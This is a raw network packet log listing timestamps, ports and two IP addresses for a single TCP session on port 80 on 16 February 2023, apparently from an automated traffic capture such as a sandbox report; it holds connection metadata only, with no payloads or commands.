Feb 16, 2023 10:01:22.466650009 CET	49698	80	192.168.2.4	23.106.124.133
Feb 16, 2023 10:01:22.466674089 CET	49698	80	192.168.2.4	23.106.124.133
Feb 16, 2023 10:01:22.496546030 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:22.496608019 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:22.496644974 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:22.496675968 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:22.496707916 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:22.496740103 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:22.496746063 CET	49698	80	192.168.2.4	23.106.124.133
Feb 16, 2023 10:01:22.496774912 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:22.496793985 CET	49698	80	192.168.2.4	23.106.124.133
Feb 16, 2023 10:01:22.496793985 CET	49698	80	192.168.2.4	23.106.124.133
Feb 16, 2023 10:01:22.496809959 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:22.496818066 CET	49698	80	192.168.2.4	23.106.124.133
Feb 16, 2023 10:01:22.496861935 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:22.496862888 CET	49698	80	192.168.2.4	23.106.124.133
Feb 16, 2023 10:01:22.496897936 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:22.496927977 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:22.496937037 CET	49698	80	192.168.2.4	23.106.124.133
Feb 16, 2023 10:01:22.496962070 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:22.496969938 CET	49698	80	192.168.2.4	23.106.124.133
Feb 16, 2023 10:01:22.496994019 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:22.496998072 CET	49698	80	192.168.2.4	23.106.124.133
Feb 16, 2023 10:01:22.497025967 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:22.497031927 CET	49698	80	192.168.2.4	23.106.124.133
Feb 16, 2023 10:01:22.497056961 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:22.497091055 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:22.497097015 CET	49698	80	192.168.2.4	23.106.124.133
Feb 16, 2023 10:01:22.497124910 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:22.497132063 CET	49698	80	192.168.2.4	23.106.124.133
Feb 16, 2023 10:01:22.497157097 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:22.497176886 CET	49698	80	192.168.2.4	23.106.124.133
Feb 16, 2023 10:01:22.497190952 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:22.497196913 CET	49698	80	192.168.2.4	23.106.124.133
Feb 16, 2023 10:01:22.497239113 CET	49698	80	192.168.2.4	23.106.124.133
Feb 16, 2023 10:01:22.639420986 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:22.641084909 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:22.641112089 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:22.641129971 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:22.641149998 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:22.641169071 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:22.641189098 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:22.641208887 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:22.641227961 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:22.641236067 CET	49698	80	192.168.2.4	23.106.124.133
Feb 16, 2023 10:01:22.641249895 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:22.641273022 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:22.641290903 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:22.641310930 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:22.641330004 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:22.641347885 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:22.641366959 CET	49698	80	192.168.2.4	23.106.124.133
Feb 16, 2023 10:01:22.641369104 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:22.641392946 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:22.641397953 CET	49698	80	192.168.2.4	23.106.124.133
Feb 16, 2023 10:01:22.641413927 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:22.641422987 CET	49698	80	192.168.2.4	23.106.124.133
Feb 16, 2023 10:01:22.641436100 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:22.641454935 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:22.641465902 CET	49698	80	192.168.2.4	23.106.124.133
Feb 16, 2023 10:01:22.641475916 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:22.641499043 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:22.641518116 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:22.641524076 CET	49698	80	192.168.2.4	23.106.124.133
Feb 16, 2023 10:01:22.641539097 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:22.641547918 CET	49698	80	192.168.2.4	23.106.124.133
Feb 16, 2023 10:01:22.641560078 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:22.641581059 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:22.641590118 CET	49698	80	192.168.2.4	23.106.124.133
Feb 16, 2023 10:01:22.641602039 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:22.641623020 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:22.641643047 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:22.641648054 CET	49698	80	192.168.2.4	23.106.124.133
Feb 16, 2023 10:01:22.641663074 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:22.641671896 CET	49698	80	192.168.2.4	23.106.124.133
Feb 16, 2023 10:01:22.641683102 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:22.641702890 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:22.641721964 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:22.641730070 CET	49698	80	192.168.2.4	23.106.124.133
Feb 16, 2023 10:01:22.641741991 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:22.641761065 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:22.641765118 CET	49698	80	192.168.2.4	23.106.124.133
Feb 16, 2023 10:01:22.641779900 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:22.641784906 CET	49698	80	192.168.2.4	23.106.124.133
Feb 16, 2023 10:01:22.641799927 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:22.641818047 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:22.641823053 CET	49698	80	192.168.2.4	23.106.124.133
Feb 16, 2023 10:01:22.641836882 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:22.641855955 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:22.641872883 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:22.641891956 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:22.641897917 CET	49698	80	192.168.2.4	23.106.124.133
Feb 16, 2023 10:01:22.641912937 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:22.641930103 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:22.641937971 CET	49698	80	192.168.2.4	23.106.124.133
Feb 16, 2023 10:01:22.641949892 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:22.641963005 CET	49698	80	192.168.2.4	23.106.124.133
Feb 16, 2023 10:01:22.641969919 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:22.642019987 CET	49698	80	192.168.2.4	23.106.124.133
Feb 16, 2023 10:01:22.671794891 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:22.671828032 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:22.671848059 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:22.671866894 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:22.671886921 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:22.671900988 CET	49698	80	192.168.2.4	23.106.124.133
Feb 16, 2023 10:01:22.671906948 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:22.671926975 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:22.671931982 CET	49698	80	192.168.2.4	23.106.124.133
Feb 16, 2023 10:01:22.671947956 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:22.671951056 CET	49698	80	192.168.2.4	23.106.124.133
Feb 16, 2023 10:01:22.671969891 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:22.671988964 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:22.672004938 CET	49698	80	192.168.2.4	23.106.124.133
Feb 16, 2023 10:01:22.672007084 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:22.672028065 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:22.672034025 CET	49698	80	192.168.2.4	23.106.124.133
Feb 16, 2023 10:01:22.672050953 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:22.672070980 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:22.672090054 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:22.672096968 CET	49698	80	192.168.2.4	23.106.124.133
Feb 16, 2023 10:01:22.672110081 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:22.672113895 CET	49698	80	192.168.2.4	23.106.124.133
Feb 16, 2023 10:01:22.672130108 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:22.672148943 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:22.672168016 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:22.672169924 CET	49698	80	192.168.2.4	23.106.124.133
Feb 16, 2023 10:01:22.672197104 CET	49698	80	192.168.2.4	23.106.124.133
Feb 16, 2023 10:01:22.716360092 CET	49698	80	192.168.2.4	23.106.124.133
Feb 16, 2023 10:01:22.816579103 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:22.816632032 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:22.816658974 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:22.816685915 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:22.816709995 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:22.816732883 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:22.816756010 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:22.816777945 CET	49698	80	192.168.2.4	23.106.124.133
Feb 16, 2023 10:01:22.816781998 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:22.816808939 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:22.816834927 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:22.816859961 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:22.816864014 CET	49698	80	192.168.2.4	23.106.124.133
Feb 16, 2023 10:01:22.816888094 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:22.816900015 CET	49698	80	192.168.2.4	23.106.124.133
Feb 16, 2023 10:01:22.816912889 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:22.816937923 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:22.816946030 CET	49698	80	192.168.2.4	23.106.124.133
Feb 16, 2023 10:01:22.816961050 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:22.816983938 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:22.816998005 CET	49698	80	192.168.2.4	23.106.124.133
Feb 16, 2023 10:01:22.817008018 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:22.817020893 CET	49698	80	192.168.2.4	23.106.124.133
Feb 16, 2023 10:01:22.817033052 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:22.817061901 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:22.817085981 CET	49698	80	192.168.2.4	23.106.124.133
Feb 16, 2023 10:01:22.817090988 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:22.817116976 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:22.817128897 CET	49698	80	192.168.2.4	23.106.124.133
Feb 16, 2023 10:01:22.817142963 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:22.817172050 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:22.817192078 CET	49698	80	192.168.2.4	23.106.124.133
Feb 16, 2023 10:01:22.817197084 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:22.817220926 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:22.817245960 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:22.817267895 CET	49698	80	192.168.2.4	23.106.124.133
Feb 16, 2023 10:01:22.817270994 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:22.817301035 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:22.817326069 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:22.817327976 CET	49698	80	192.168.2.4	23.106.124.133
Feb 16, 2023 10:01:22.817348957 CET	49698	80	192.168.2.4	23.106.124.133
Feb 16, 2023 10:01:22.817353010 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:22.817379951 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:22.817405939 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:22.817411900 CET	49698	80	192.168.2.4	23.106.124.133
Feb 16, 2023 10:01:22.817433119 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:22.817457914 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:22.817462921 CET	49698	80	192.168.2.4	23.106.124.133
Feb 16, 2023 10:01:22.817487001 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:22.817507982 CET	49698	80	192.168.2.4	23.106.124.133
Feb 16, 2023 10:01:22.817514896 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:22.817544937 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:22.817567110 CET	49698	80	192.168.2.4	23.106.124.133
Feb 16, 2023 10:01:22.817570925 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:22.817595959 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:22.817620993 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:22.817621946 CET	49698	80	192.168.2.4	23.106.124.133
Feb 16, 2023 10:01:22.817646980 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:22.817670107 CET	49698	80	192.168.2.4	23.106.124.133
Feb 16, 2023 10:01:22.817670107 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:22.817698002 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:22.817720890 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:22.817727089 CET	49698	80	192.168.2.4	23.106.124.133
Feb 16, 2023 10:01:22.817747116 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:22.817770004 CET	49698	80	192.168.2.4	23.106.124.133
Feb 16, 2023 10:01:22.817770958 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:22.817800999 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:22.817822933 CET	49698	80	192.168.2.4	23.106.124.133
Feb 16, 2023 10:01:22.846801043 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:22.846863031 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:22.846899033 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:22.846932888 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:22.846955061 CET	49698	80	192.168.2.4	23.106.124.133
Feb 16, 2023 10:01:22.846970081 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:22.847007990 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:22.847040892 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:22.847049952 CET	49698	80	192.168.2.4	23.106.124.133
Feb 16, 2023 10:01:22.847078085 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:22.847109079 CET	49698	80	192.168.2.4	23.106.124.133
Feb 16, 2023 10:01:22.847112894 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:22.847146988 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:22.847171068 CET	49698	80	192.168.2.4	23.106.124.133
Feb 16, 2023 10:01:22.847178936 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:22.847215891 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:22.847238064 CET	49698	80	192.168.2.4	23.106.124.133
Feb 16, 2023 10:01:22.847250938 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:22.847285032 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:22.847297907 CET	49698	80	192.168.2.4	23.106.124.133
Feb 16, 2023 10:01:22.847317934 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:22.847349882 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:22.847353935 CET	49698	80	192.168.2.4	23.106.124.133
Feb 16, 2023 10:01:22.847383976 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:22.847417116 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:22.847445965 CET	49698	80	192.168.2.4	23.106.124.133
Feb 16, 2023 10:01:22.888124943 CET	49698	80	192.168.2.4	23.106.124.133
Feb 16, 2023 10:01:22.891088009 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:22.891136885 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:22.891206026 CET	49698	80	192.168.2.4	23.106.124.133
Feb 16, 2023 10:01:22.992341042 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:22.992387056 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:22.992413998 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:22.992439032 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:22.992465019 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:22.992491961 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:22.992491961 CET	49698	80	192.168.2.4	23.106.124.133
Feb 16, 2023 10:01:22.992518902 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:22.992548943 CET	49698	80	192.168.2.4	23.106.124.133
Feb 16, 2023 10:01:22.992552042 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:22.992578030 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:22.992600918 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:22.992623091 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:22.992645025 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:22.992645979 CET	49698	80	192.168.2.4	23.106.124.133
Feb 16, 2023 10:01:22.992671967 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:22.992681026 CET	49698	80	192.168.2.4	23.106.124.133
Feb 16, 2023 10:01:22.992697954 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:22.992722034 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:22.992748022 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:22.992770910 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:22.992785931 CET	49698	80	192.168.2.4	23.106.124.133
Feb 16, 2023 10:01:22.992798090 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:22.992820978 CET	49698	80	192.168.2.4	23.106.124.133
Feb 16, 2023 10:01:22.992825985 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:22.992846012 CET	49698	80	192.168.2.4	23.106.124.133
Feb 16, 2023 10:01:22.992854118 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:22.992881060 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:22.992907047 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:22.992913008 CET	49698	80	192.168.2.4	23.106.124.133
Feb 16, 2023 10:01:22.992930889 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:22.992957115 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:22.992957115 CET	49698	80	192.168.2.4	23.106.124.133
Feb 16, 2023 10:01:22.992984056 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:22.993010044 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:22.993033886 CET	49698	80	192.168.2.4	23.106.124.133
Feb 16, 2023 10:01:22.993036985 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:22.993063927 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:22.993084908 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:22.993108034 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:22.993108034 CET	49698	80	192.168.2.4	23.106.124.133
Feb 16, 2023 10:01:22.993134022 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:22.993134975 CET	49698	80	192.168.2.4	23.106.124.133
Feb 16, 2023 10:01:22.993161917 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:22.993165016 CET	49698	80	192.168.2.4	23.106.124.133
Feb 16, 2023 10:01:22.993187904 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:22.993206978 CET	49698	80	192.168.2.4	23.106.124.133
Feb 16, 2023 10:01:22.993212938 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:22.993240118 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:22.993267059 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:22.993292093 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:22.993318081 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:22.993329048 CET	49698	80	192.168.2.4	23.106.124.133
Feb 16, 2023 10:01:22.993341923 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:22.993367910 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:22.993392944 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:22.993407965 CET	49698	80	192.168.2.4	23.106.124.133
Feb 16, 2023 10:01:22.993417978 CET	49698	80	192.168.2.4	23.106.124.133
Feb 16, 2023 10:01:22.993417978 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:22.993447065 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:22.993467093 CET	49698	80	192.168.2.4	23.106.124.133
Feb 16, 2023 10:01:22.993472099 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:22.993499041 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:22.993525028 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:22.993527889 CET	49698	80	192.168.2.4	23.106.124.133
Feb 16, 2023 10:01:22.993555069 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:22.993578911 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:22.993628979 CET	49698	80	192.168.2.4	23.106.124.133
Feb 16, 2023 10:01:23.022064924 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:23.022114038 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:23.022145987 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:23.022176027 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:23.022190094 CET	49698	80	192.168.2.4	23.106.124.133
Feb 16, 2023 10:01:23.022207975 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:23.022236109 CET	49698	80	192.168.2.4	23.106.124.133
Feb 16, 2023 10:01:23.022238970 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:23.022270918 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:23.022303104 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:23.022332907 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:23.022336006 CET	49698	80	192.168.2.4	23.106.124.133
Feb 16, 2023 10:01:23.022363901 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:23.022382975 CET	49698	80	192.168.2.4	23.106.124.133
Feb 16, 2023 10:01:23.022397995 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:23.022424936 CET	49698	80	192.168.2.4	23.106.124.133
Feb 16, 2023 10:01:23.022428036 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:23.022460938 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:23.022490025 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:23.022492886 CET	49698	80	192.168.2.4	23.106.124.133
Feb 16, 2023 10:01:23.022521019 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:23.022552967 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:23.022582054 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:23.022614002 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:23.022618055 CET	49698	80	192.168.2.4	23.106.124.133
Feb 16, 2023 10:01:23.022644043 CET	49698	80	192.168.2.4	23.106.124.133
Feb 16, 2023 10:01:23.022659063 CET	49698	80	192.168.2.4	23.106.124.133
Feb 16, 2023 10:01:23.063050985 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:23.063092947 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:23.063225985 CET	49698	80	192.168.2.4	23.106.124.133
Feb 16, 2023 10:01:23.065670013 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:23.065711975 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:23.065888882 CET	49698	80	192.168.2.4	23.106.124.133
Feb 16, 2023 10:01:23.168179989 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:23.168240070 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:23.168272972 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:23.168304920 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:23.168334961 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:23.168366909 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:23.168374062 CET	49698	80	192.168.2.4	23.106.124.133
Feb 16, 2023 10:01:23.168401957 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:23.168435097 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:23.168448925 CET	49698	80	192.168.2.4	23.106.124.133
Feb 16, 2023 10:01:23.168467045 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:23.168488026 CET	49698	80	192.168.2.4	23.106.124.133
Feb 16, 2023 10:01:23.168499947 CET	80	49698	23.106.124.133	192.168.2.4
